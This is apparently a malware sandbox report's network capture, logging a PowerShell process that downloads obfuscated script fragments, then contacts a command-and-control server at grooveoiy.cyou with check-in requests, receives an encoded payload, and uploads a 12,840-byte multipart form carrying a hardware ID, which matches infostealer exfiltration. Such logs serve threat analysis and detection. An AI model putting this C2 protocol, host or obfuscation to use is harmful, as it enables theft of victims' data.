2025-01-06 12:55:01 UTC	1369	IN	Data Raw: 0d 0a 20 20 20 20 20 20 20 20 24 68 53 77 62 6e 47 55 59 6f 6b 76 20 3d 20 28 28 28 28 28 24 75 76 52 41 42 45 41 70 5a 20 2d 20 24 42 44 6e 41 73 7a 29 20 2a 20 24 6c 46 56 6e 47 4c 52 51 56 29 20 2b 20 33 39 35 38 29 29 20 2b 20 28 28 28 31 30 20 2d 20 31 36 34 29 20 2b 20 2d 37 33 38 32 29 20 2b 20 2d 32 38 29 29 0d 0a 20 20 20 20 7d 0d 0a 20 20 20 20 69 66 20 28 28 2d 33 38 36 39 35 20 2d 6c 65 20 24 43 6f 68 53 7a 66 5a 29 20 2d 6f 72 20 28 2d 38 31 30 36 31 20 2d 67 65 20 2d 34 30 32 29 20 2d 6f 72 20 28 24 42 44 6e 41 73 7a 20 2d 67 74 20 2d 33 36 30 33 36 29 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 24 68 53 77 62 6e 47 55 59 6f 6b 76 20 3d 20 28 28 28 28 28 24 4f 70 6e 53 44 66 6d 42 6f 20 2d 20 31 39 30 33 35 29 20 2b 20 28 28 28 2d 34 20 2a 20 2d Data Ascii: $hSwbnGUYokv = ((((($uvRABEApZ - $BDnAsz) * $lFVnGLRQV) + 3958)) + (((10 - 164) + -7382) + -28)) } if ((-38695 -le $CohSzfZ) -or (-81061 -ge -402) -or ($BDnAsz -gt -36036)) { $hSwbnGUYokv = ((((($OpnSDfmBo - 19035) + (((-4 * -
2025-01-06 12:55:01 UTC	1369	IN	Data Raw: 34 29 20 2b 20 24 79 4e 65 71 50 4a 49 29 20 2d 20 2d 36 35 35 36 32 29 20 2b 20 24 79 4e 65 71 50 4a 49 29 0d 0a 7d 0d 0a 24 4f 45 54 4c 6e 75 63 51 78 66 6d 20 3d 20 32 0d 0a 77 68 69 6c 65 20 28 24 4f 45 54 4c 6e 75 63 51 78 66 6d 20 2d 67 74 20 30 29 20 7b 0d 0a 20 20 20 20 69 66 20 28 28 34 34 39 20 2d 6c 74 20 24 74 6f 7a 73 78 41 65 79 51 29 20 2d 61 6e 64 20 28 31 36 32 38 30 39 20 2d 6c 74 20 24 70 51 6a 64 69 77 6d 29 20 2d 61 6e 64 20 28 24 71 4a 68 4f 63 45 43 46 6e 57 20 2d 6c 74 20 35 29 20 2d 61 6e 64 20 28 2d 39 32 20 2d 6c 74 20 24 43 68 6a 76 77 70 53 5a 42 29 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 24 4a 75 6d 67 64 57 49 79 20 3d 20 28 28 28 33 34 33 32 31 20 2b 20 31 32 29 20 2b 20 2d 33 35 29 20 2b 20 28 28 28 24 4f 70 6e 53 44 66 6d Data Ascii: 4) + $yNeqPJI) - -65562) + $yNeqPJI)}$OETLnucQxfm = 2while ($OETLnucQxfm -gt 0) { if ((449 -lt $tozsxAeyQ) -and (162809 -lt $pQjdiwm) -and ($qJhOcECFnW -lt 5) -and (-92 -lt $ChjvwpSZB)) { $JumgdWIy = (((34321 + 12) + -35) + ((($OpnSDfm
2025-01-06 12:55:01 UTC	1369	IN	Data Raw: 29 0d 0a 24 5a 54 6a 4d 61 6e 20 3d 20 28 28 28 28 24 52 50 45 50 44 74 68 20 2a 20 2d 37 36 36 33 37 29 20 2b 20 28 28 28 35 35 39 32 35 30 20 2d 20 24 7a 46 50 64 4a 64 4a 47 43 7a 73 29 20 2d 20 2d 39 38 34 39 29 29 29 20 2d 20 24 79 4e 65 71 50 4a 49 29 20 2a 20 28 28 28 28 28 28 32 37 36 20 2a 20 24 68 54 52 4a 62 4a 66 66 29 20 2a 20 2d 37 35 35 37 32 36 29 20 2b 20 36 35 37 38 36 29 20 2a 20 36 35 30 29 20 2d 20 34 35 30 34 29 29 29 0d 0a 69 66 20 28 28 24 55 4e 6b 79 49 7a 6d 74 78 63 69 20 2d 65 71 20 32 34 32 32 29 20 2d 61 6e 64 20 28 2d 36 39 36 36 32 20 2d 6c 65 20 24 52 50 45 50 44 74 68 29 29 20 7b 0d 0a 20 20 20 20 24 68 53 77 62 6e 47 55 59 6f 6b 76 20 3d 20 28 28 37 32 20 2a 20 24 79 4e 65 71 50 4a 49 29 20 2d 20 32 29 0d 0a 7d 20 65 6c Data Ascii: )$ZTjMan = (((($RPEPDth * -76637) + (((559250 - $zFPdJdJGCzs) - -9849))) - $yNeqPJI) * ((((((276 * $hTRJbJff) * -755726) + 65786) * 650) - 4504)))if (($UNkyIzmtxci -eq 2422) -and (-69662 -le $RPEPDth)) { $hSwbnGUYokv = ((72 * $yNeqPJI) - 2)} el
2025-01-06 12:55:01 UTC	195	IN	Data Raw: 29 29 20 7b 0d 0a 20 20 20 20 24 52 50 45 50 44 74 68 20 3d 20 28 28 28 28 24 75 58 46 58 56 74 47 4c 47 79 20 2a 20 2d 38 38 29 20 2d 20 24 79 4e 65 71 50 4a 49 29 20 2a 20 38 29 20 2d 20 28 28 28 28 28 33 20 2a 20 36 29 20 2d 20 24 75 58 46 58 56 74 47 4c 47 79 29 29 20 2d 20 28 28 28 28 28 24 43 6f 68 53 7a 66 5a 20 2b 20 2d 35 33 32 34 31 29 20 2a 20 38 29 20 2a 20 24 71 4a 68 4f 63 45 43 46 6e 57 29 20 2a 20 24 59 62 59 44 6c 50 44 6d 68 29 20 2b 20 24 79 4e 65 71 50 4a 49 29 29 29 29 0d 0a 7d 0d 0a 69 66 20 28 28 24 7a 46 50 64 4a 64 4a 47 43 7a 73 20 2d 6c 74 20 2d 39 33 Data Ascii: )) { $RPEPDth = (((($uXFXVtGLGy * -88) - $yNeqPJI) * 8) - (((((3 * 6) - $uXFXVtGLGy)) - ((((($CohSzfZ + -53241) * 8) * $qJhOcECFnW) * $YbYDlPDmh) + $yNeqPJI))))}if (($zFPdJdJGCzs -lt -93

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49978	104.21.71.158	443	4244	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-06 12:56:18 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: grooveoiy.cyou
2025-01-06 12:56:18 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2025-01-06 12:56:19 UTC	1133	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 12:56:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=e9aot64q7eb7cqr09gbh37i8no; expires=Fri, 02 May 2025 06:42:58 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XlA9vpx0vkj6QmRZti%2B%2FnIRHHP%2BWQM81Zv%2Bd6IYGZSyOcqBMD5lCDlSNoXFD%2B1VUOiSItYJNGtWmCmEtk80yol6%2FYrcY2e38Z3rlCzkTjc1XVBZVFN9DeNL9%2BRvkqcPWGw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fdbde0d9c8f8cc6-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1795&min_rtt=1786&rtt_var=689&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2833&recv_bytes=905&delivery_rate=1566523&cwnd=222&unsent_bytes=0&cid=ffb1fabbc3a59fd7&ts=477&x=0"
2025-01-06 12:56:19 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2025-01-06 12:56:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49979	104.21.71.158	443	4244	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-06 12:56:19 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 46 Host: grooveoiy.cyou
2025-01-06 12:56:19 UTC	46	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 63 32 43 6f 57 30 2d 2d 52 49 49 49 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=c2CoW0--RIII&j=
2025-01-06 12:56:20 UTC	1121	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 12:56:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ptkrj5gpstke3b2d2crlp5oo50; expires=Fri, 02 May 2025 06:42:59 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=v5HC7MOKA4%2Bm7KmlLcQu4H361V3t7VpyQX11OLAzIHh97k5vnQtAl0wysH5izX8L8ct4K4r1bCslj4fddgI4qnAVh5641zMTjUWBeoYm7iHRe3jGkb1UdciawQub7Yjvmg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fdbde139842726f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1815&min_rtt=1810&rtt_var=690&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2833&recv_bytes=944&delivery_rate=1574123&cwnd=172&unsent_bytes=0&cid=8c59be3854b4daa5&ts=485&x=0"
2025-01-06 12:56:20 UTC	248	IN	Data Raw: 31 63 61 30 0d 0a 73 36 30 62 75 41 4b 4c 49 4f 30 77 65 6e 35 2f 41 43 64 56 39 41 50 52 43 5a 76 73 49 31 31 50 50 68 7a 47 6b 6b 36 76 2f 6b 72 49 6a 32 32 61 4f 4c 38 4d 7a 30 4d 66 58 45 56 30 56 53 43 52 4c 2f 4e 6f 2f 38 34 5a 4f 79 35 53 62 36 4f 2b 62 4e 6d 54 61 49 6e 4c 65 74 52 78 37 67 7a 50 56 51 4a 63 52 56 74 63 64 35 46 74 38 7a 4f 35 69 55 6b 2f 4c 6c 4a 2b 70 2f 6b 68 33 35 49 70 32 38 46 38 30 47 66 6f 52 49 78 63 46 78 73 61 5a 55 59 2f 6d 6d 71 38 59 66 62 4f 44 33 38 71 52 44 37 38 73 41 50 4b 69 69 76 2b 7a 47 6a 54 49 50 59 4d 6c 68 49 66 45 46 30 36 42 54 53 52 59 62 31 76 2f 34 64 4c 4e 53 64 61 66 36 4c 34 50 73 61 59 49 74 76 50 66 39 46 74 34 56 43 42 56 68 41 51 48 47 39 47 64 39 67 68 74 48 4f 35 31 67 Data Ascii: 1ca0s60buAKLIO0wen5/ACdV9APRCZvsI11PPhzGkk6v/krIj22aOL8Mz0MfXEV0VSCRL/No/84ZOy5Sb6O+bNmTaInLetRx7gzPVQJcRVtcd5Ft8zO5iUk/LlJ+p/kh35Ip28F80GfoRIxcFxsaZUY/mmq8YfbOD38qRD78sAPKiiv+zGjTIPYMlhIfEF06BTSRYb1v/4dLNSdaf6L4PsaYItvPf9Ft4VCBVhAQHG9Gd9ghtHO51g
2025-01-06 12:56:20 UTC	1369	IN	Data Raw: 46 73 48 31 39 76 74 65 55 68 33 5a 70 6f 7a 6f 46 67 6d 6d 66 6c 41 74 63 53 45 42 41 54 5a 30 59 34 6b 57 43 7a 65 66 61 4f 51 6a 63 6c 57 48 53 72 2f 79 50 44 6c 69 2f 5a 78 6e 37 56 5a 2b 46 45 67 46 46 59 55 6c 31 6c 58 58 66 4f 49 5a 4e 37 2b 6f 31 56 4d 6a 77 63 59 65 72 70 62 4d 71 51 61 49 6d 50 66 39 52 68 35 45 4b 64 57 68 4d 58 47 48 42 4f 50 70 74 73 73 32 62 7a 67 55 49 2f 4b 6c 5a 30 71 2f 6f 6f 77 4a 45 75 30 63 38 35 6c 43 44 75 57 73 38 4b 57 44 38 59 63 6b 49 37 67 43 4f 4a 4b 2b 62 41 57 48 38 71 55 44 37 38 73 43 54 49 6e 79 76 61 77 48 72 53 61 2f 74 43 6e 56 51 56 47 51 39 6b 51 44 6d 63 59 71 46 68 39 34 68 43 4e 69 5a 56 65 36 50 30 62 49 50 63 4c 38 6d 50 49 5a 70 42 35 45 6d 44 57 41 38 63 58 58 30 4c 4c 74 5a 6d 76 79 75 68 7a Data Ascii: FsH19vteUh3ZpozoFgmmflAtcSEBATZ0Y4kWCzefaOQjclWHSr/yPDli/Zxn7VZ+FEgFFYUl1lXXfOIZN7+o1VMjwcYerpbMqQaImPf9Rh5EKdWhMXGHBOPptss2bzgUI/KlZ0q/oowJEu0c85lCDuWs8KWD8YckI7gCOJK+bAWH8qUD78sCTInyvawHrSa/tCnVQVGQ9kQDmcYqFh94hCNiZVe6P0bIPcL8mPIZpB5EmDWA8cXX0LLtZmvyuhz
2025-01-06 12:56:20 UTC	1369	IN	Data Raw: 63 4d 4f 54 33 4e 49 33 45 61 50 76 4d 62 64 6c 71 71 33 65 4d 58 42 59 62 43 79 4a 61 65 59 38 68 74 47 65 35 31 67 45 79 4c 46 52 34 74 76 38 68 7a 70 49 6d 33 73 70 32 30 6d 44 70 54 34 70 57 45 78 63 65 62 30 45 6c 6e 47 47 37 62 76 69 45 53 33 39 6a 48 48 6d 38 73 48 53 4e 72 54 2f 61 6a 55 7a 5a 62 75 64 46 6d 52 49 48 55 67 51 69 51 6a 76 57 4f 66 4e 6d 38 59 74 45 4d 43 78 57 63 4b 48 36 49 4d 57 53 4b 38 50 41 66 64 70 73 34 55 69 43 58 42 77 55 46 47 6c 4f 4d 5a 5a 67 75 53 75 33 7a 6b 59 6e 62 51 51 2b 6b 50 63 67 77 4a 4e 71 35 4d 78 33 31 47 66 2f 41 70 41 63 41 56 77 61 62 67 56 76 31 6d 32 36 61 2f 4b 45 52 54 38 71 55 58 75 6e 39 79 2f 41 6d 79 4c 66 79 48 33 57 61 65 52 45 6a 31 55 63 47 51 39 6e 54 44 75 61 49 66 30 72 2f 70 59 42 5a 32 Data Ascii: cMOT3NI3EaPvMbdlqq3eMXBYbCyJaeY8htGe51gEyLFR4tv8hzpIm3sp20mDpT4pWExceb0ElnGG7bviES39jHHm8sHSNrT/ajUzZbudFmRIHUgQiQjvWOfNm8YtEMCxWcKH6IMWSK8PAfdps4UiCXBwUFGlOMZZguSu3zkYnbQQ+kPcgwJNq5Mx31Gf/ApAcAVwabgVv1m26a/KERT8qUXun9y/AmyLfyH3WaeREj1UcGQ9nTDuaIf0r/pYBZ2
2025-01-06 12:56:20 UTC	1369	IN	Data Raw: 73 48 53 4e 6c 53 48 44 77 58 66 54 62 65 39 4b 69 46 77 56 46 78 74 70 51 6a 43 51 62 4c 74 6d 2f 49 31 41 4f 79 64 4f 66 61 2f 36 49 63 66 63 5a 70 48 49 59 5a 6f 34 71 57 57 44 65 77 67 48 44 33 51 46 4b 4e 68 34 38 32 7a 31 7a 68 6c 2f 4c 6c 4e 33 71 2f 67 6b 77 70 4d 73 33 38 6c 2f 31 32 58 6d 53 4a 31 61 46 68 45 57 62 55 34 6c 6c 6d 79 33 5a 2f 32 47 53 6a 56 74 45 6a 36 6a 36 47 79 56 33 42 33 63 77 48 6e 5a 64 71 6c 64 77 55 74 59 47 78 45 69 48 58 65 61 62 37 4e 6b 39 59 4a 4b 4e 79 78 51 63 4b 50 31 4a 63 57 55 4f 74 44 4c 63 64 74 75 35 6b 4f 4c 56 78 30 59 47 6d 5a 44 4f 4e 59 76 38 32 7a 68 7a 68 6c 2f 41 6e 74 4c 35 74 45 57 6a 59 4e 6d 79 49 39 2b 31 69 43 78 41 6f 4e 52 46 42 51 53 5a 45 77 37 6e 47 69 34 5a 2f 4b 4b 54 54 59 6f 57 6e 2b Data Ascii: sHSNlSHDwXfTbe9KiFwVFxtpQjCQbLtm/I1AOydOfa/6IcfcZpHIYZo4qWWDewgHD3QFKNh482z1zhl/LlN3q/gkwpMs38l/12XmSJ1aFhEWbU4llmy3Z/2GSjVtEj6j6GyV3B3cwHnZdqldwUtYGxEiHXeab7Nk9YJKNyxQcKP1JcWUOtDLcdtu5kOLVx0YGmZDONYv82zhzhl/AntL5tEWjYNmyI9+1iCxAoNRFBQSZEw7nGi4Z/KKTTYoWn+
2025-01-06 12:56:20 UTC	1369	IN	Data Raw: 35 73 68 77 38 46 30 31 57 6a 68 53 34 35 57 48 52 45 62 62 6b 38 32 6b 57 2b 39 59 37 6e 41 41 54 67 31 48 43 62 6b 30 54 7a 57 6a 6a 37 63 37 6e 54 56 49 50 59 4d 6c 68 49 66 45 46 30 36 42 54 36 45 5a 62 35 35 38 49 6c 50 4d 43 35 4f 66 36 6e 37 50 73 71 54 4c 4e 62 44 66 39 56 6d 36 45 65 46 58 68 38 5a 46 6d 31 4a 64 39 67 68 74 48 4f 35 31 67 45 52 4a 6b 39 70 70 2f 34 6e 32 34 64 6f 7a 6f 46 67 6d 6d 66 6c 41 74 63 53 47 78 63 57 5a 6b 55 37 6c 6d 57 2b 61 2b 75 42 52 6a 67 6b 56 32 79 75 39 79 76 47 6c 43 50 65 79 57 76 57 62 76 74 48 6e 55 42 59 55 6c 31 6c 58 58 66 4f 49 59 56 73 36 5a 35 43 66 52 78 4b 66 62 4c 37 49 63 48 63 4e 35 2f 57 4f 64 31 73 71 52 72 50 56 42 63 56 48 6d 31 45 50 70 70 73 74 6d 4c 38 6a 30 63 37 4a 31 5a 2b 6f 76 59 74 Data Ascii: 5shw8F01WjhS45WHREbbk82kW+9Y7nAATg1HCbk0TzWjj7c7nTVIPYMlhIfEF06BT6EZb558IlPMC5Of6n7PsqTLNbDf9Vm6EeFXh8ZFm1Jd9ghtHO51gERJk9pp/4n24dozoFgmmflAtcSGxcWZkU7lmW+a+uBRjgkV2yu9yvGlCPeyWvWbvtHnUBYUl1lXXfOIYVs6Z5CfRxKfbL7IcHcN5/WOd1sqRrPVBcVHm1EPppstmL8j0c7J1Z+ovYt
2025-01-06 12:56:20 UTC	1369	IN	Data Raw: 48 49 64 5a 6f 34 71 55 47 49 55 52 6b 57 46 47 35 4b 4d 4a 4a 7a 75 57 7a 72 6a 30 41 30 49 46 42 2b 71 66 30 6d 7a 4a 55 6c 33 63 4a 2b 33 57 2f 73 41 73 45 53 48 77 52 64 4f 67 55 57 6d 32 71 2f 4d 4b 50 4f 58 6e 45 30 48 48 6d 6f 73 48 53 4e 6e 43 4c 55 78 58 54 5a 62 2b 70 51 6a 6c 51 4b 48 42 42 6f 56 7a 32 64 5a 4c 35 6d 39 49 31 48 4f 53 5a 51 62 4b 33 77 4c 38 62 63 5a 70 48 49 59 5a 6f 34 71 57 47 59 52 42 49 62 45 58 52 4f 4e 70 56 33 76 6e 75 35 77 41 45 75 4b 6b 30 2b 2f 4f 59 38 32 70 73 33 6e 39 59 35 33 57 79 70 47 73 39 55 45 52 6f 61 5a 45 73 6c 6b 32 65 38 5a 50 43 48 52 54 63 75 58 48 71 67 39 79 6e 4f 6b 43 50 57 7a 48 62 65 61 65 64 4c 67 42 4a 57 58 42 70 36 42 57 2f 57 51 4b 68 6f 39 59 4d 42 49 47 4e 46 50 71 50 38 62 4a 58 63 4a Data Ascii: HIdZo4qUGIURkWFG5KMJJzuWzrj0A0IFB+qf0mzJUl3cJ+3W/sAsESHwRdOgUWm2q/MKPOXnE0HHmosHSNnCLUxXTZb+pQjlQKHBBoVz2dZL5m9I1HOSZQbK3wL8bcZpHIYZo4qWGYRBIbEXRONpV3vnu5wAEuKk0+/OY82ps3n9Y53WypGs9UERoaZEslk2e8ZPCHRTcuXHqg9ynOkCPWzHbeaedLgBJWXBp6BW/WQKho9YMBIGNFPqP8bJXcJ
2025-01-06 12:56:20 UTC	243	IN	Data Raw: 52 64 75 78 46 6d 52 41 74 48 78 4e 73 51 69 48 57 66 6f 77 6c 75 59 46 62 66 33 56 6c 5a 2b 54 33 49 49 33 45 61 4d 54 49 65 64 31 36 2f 30 57 44 51 78 4d 52 45 55 42 4b 4d 49 42 69 76 47 6a 6f 68 77 30 30 49 42 77 77 35 50 63 30 6a 63 52 6f 2f 73 68 76 32 55 2f 71 55 34 59 53 56 6c 77 61 64 41 56 76 31 6c 2f 7a 65 66 71 65 51 6a 41 38 59 6a 37 38 36 52 4b 4e 6c 7a 37 57 33 33 72 4d 61 2b 52 4f 6e 6d 78 59 52 45 6b 77 46 32 58 45 4d 36 77 72 35 72 45 50 66 79 77 63 4a 70 33 70 62 4e 76 63 63 49 4f 42 4f 63 67 67 73 51 4c 49 55 51 6f 4f 47 32 46 54 4e 4e 46 66 6a 55 7a 76 68 45 59 76 4b 6b 74 78 35 4c 35 73 77 74 78 77 36 49 39 77 33 58 76 34 56 49 4a 43 48 31 77 69 4c 41 55 76 31 6a 6e 7a 58 76 71 41 54 7a 67 37 0d 0a Data Ascii: RduxFmRAtHxNsQiHWfowluYFbf3VlZ+T3II3EaMTIed16/0WDQxMREUBKMIBivGjohw00IBww5Pc0jcRo/shv2U/qU4YSVlwadAVv1l/zefqeQjA8Yj786RKNlz7W33rMa+ROnmxYREkwF2XEM6wr5rEPfywcJp3pbNvccIOBOcggsQLIUQoOG2FTNNFfjUzvhEYvKktx5L5swtxw6I9w3Xv4VIJCH1wiLAUv1jnzXvqATzg7
2025-01-06 12:56:20 UTC	1369	IN	Data Raw: 32 63 66 34 0d 0a 54 54 4f 44 35 69 62 4b 6a 43 2f 47 77 44 6d 55 49 4f 38 43 31 77 46 57 58 42 6c 7a 42 57 2f 47 4d 2b 67 2b 71 74 6b 52 62 54 49 53 5a 2b 54 6d 62 4a 58 4f 5a 70 48 64 4f 59 49 67 72 6b 47 64 51 42 34 66 43 32 45 43 43 61 68 47 71 57 62 2f 6d 56 41 42 45 31 74 6b 71 66 59 37 33 4e 41 39 30 73 46 33 33 58 61 70 44 4d 39 64 57 45 51 6b 49 67 31 33 71 53 2f 7a 63 37 6e 57 41 51 6f 75 55 6e 43 6a 35 6a 32 41 75 7a 4c 63 79 57 37 4c 49 4b 63 43 69 52 4a 41 54 6c 4d 69 51 53 62 57 4f 65 4d 35 6f 74 73 53 61 48 30 4f 59 65 72 70 62 4e 76 63 63 49 4f 42 4f 63 67 67 73 51 4c 49 55 51 6f 4f 47 32 46 54 4e 4e 46 66 6a 55 58 2b 69 45 51 34 50 52 35 51 72 2b 51 72 6a 64 4a 6f 33 6f 38 68 34 79 43 68 41 72 41 63 57 41 52 64 4f 67 55 43 6c 57 2b 39 62 Data Ascii: 2cf4TTOD5ibKjC/GwDmUIO8C1wFWXBlzBW/GM+g+qtkRbTISZ+TmbJXOZpHdOYIgrkGdQB4fC2ECCahGqWb/mVABE1tkqfY73NA90sF33XapDM9dWEQkIg13qS/zc7nWAQouUnCj5j2AuzLcyW7LIKcCiRJATlMiQSbWOeM5otsSaH0OYerpbNvccIOBOcggsQLIUQoOG2FTNNFfjUX+iEQ4PR5Qr+QrjdJo3o8h4yChArAcWARdOgUClW+9b
2025-01-06 12:56:20 UTC	1369	IN	Data Raw: 6d 62 55 6f 2b 2f 4b 4a 69 6a 59 35 6f 69 59 38 2b 32 58 4c 37 52 49 78 45 47 31 73 6a 58 47 49 35 6b 57 43 6c 65 2b 36 42 66 77 45 34 58 33 43 71 39 7a 72 63 33 47 61 52 77 44 6d 43 57 61 6b 4b 7a 32 31 57 58 41 55 69 48 58 65 6a 59 72 31 6c 2f 70 68 51 63 67 70 53 65 61 58 6d 50 4e 71 54 61 4a 2b 50 66 35 6f 34 75 77 7a 50 56 67 6c 63 52 54 49 58 62 4d 4d 79 35 44 75 72 6b 51 38 6d 62 55 6f 2b 2f 4b 4a 69 6a 59 35 6f 69 59 38 2b 32 58 4c 37 52 49 78 45 47 31 73 6a 58 47 49 35 6b 57 43 6c 65 2b 36 42 44 68 45 62 66 55 43 61 35 53 2f 44 6b 69 2f 48 33 6a 6d 55 49 4f 59 43 31 32 74 59 56 46 31 64 43 33 65 4f 49 65 73 72 7a 49 31 50 4d 53 70 4b 62 2b 6e 58 49 73 71 64 50 73 48 59 64 70 56 4f 33 32 50 50 48 46 67 61 58 54 6f 58 65 64 5a 6c 6f 69 75 68 33 68 Data Ascii: mbUo+/KJijY5oiY8+2XL7RIxEG1sjXGI5kWCle+6BfwE4X3Cq9zrc3GaRwDmCWakKz21WXAUiHXejYr1l/phQcgpSeaXmPNqTaJ+Pf5o4uwzPVglcRTIXbMMy5DurkQ8mbUo+/KJijY5oiY8+2XL7RIxEG1sjXGI5kWCle+6BDhEbfUCa5S/Dki/H3jmUIOYC12tYVF1dC3eOIesrzI1PMSpKb+nXIsqdPsHYdpVO32PPHFgaXToXedZloiuh3h

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49980	104.21.71.158	443	4244	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-06 12:56:20 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=QX3E6ZIY4SL0M38GUJ1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12840 Host: grooveoiy.cyou
2025-01-06 12:56:20 UTC	12840	OUT	Data Raw: 2d 2d 51 58 33 45 36 5a 49 59 34 53 4c 30 4d 33 38 47 55 4a 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 46 35 44 38 41 34 35 42 35 41 30 43 33 31 39 36 39 41 45 37 37 38 46 45 32 37 39 39 44 36 39 0d 0a 2d 2d 51 58 33 45 36 5a 49 59 34 53 4c 30 4d 33 38 47 55 4a 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 51 58 33 45 36 5a 49 59 34 53 4c 30 4d 33 38 47 55 4a 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 63 32 43 6f 57 30 2d 2d 52 49 Data Ascii: --QX3E6ZIY4SL0M38GUJ1Content-Disposition: form-data; name="hwid"DF5D8A45B5A0C31969AE778FE2799D69--QX3E6ZIY4SL0M38GUJ1Content-Disposition: form-data; name="pid"2--QX3E6ZIY4SL0M38GUJ1Content-Disposition: form-data; name="lid"c2CoW0--RI
2025-01-06 12:56:21 UTC	1124	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 12:56:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=rre0bqclv4812n89at06pdnvqf; expires=Fri, 02 May 2025 06:43:00 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JtaTwilHg9gI0Aoum4hWLOHj3OkIZiZEs0uCpfjvPifAiTyVP0BKHVr1FnNguEPo0b9rPFO4FOr9T8xsXkkKZU6ivA4CEYDFvDZb7bXea2wHDDBPMZ%2FgXp27fvSD41R5QA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fdbde1abe64de94-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1471&min_rtt=1470&rtt_var=554&sent=8&recv=17&lost=0&retrans=0&sent_bytes=2832&recv_bytes=13779&delivery_rate=1967654&cwnd=235&unsent_bytes=0&cid=0a3aafbf94cc0eef&ts=659&x=0"
2025-01-06 12:56:21 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-06 12:56:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49981	104.21.71.158	443	4244	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

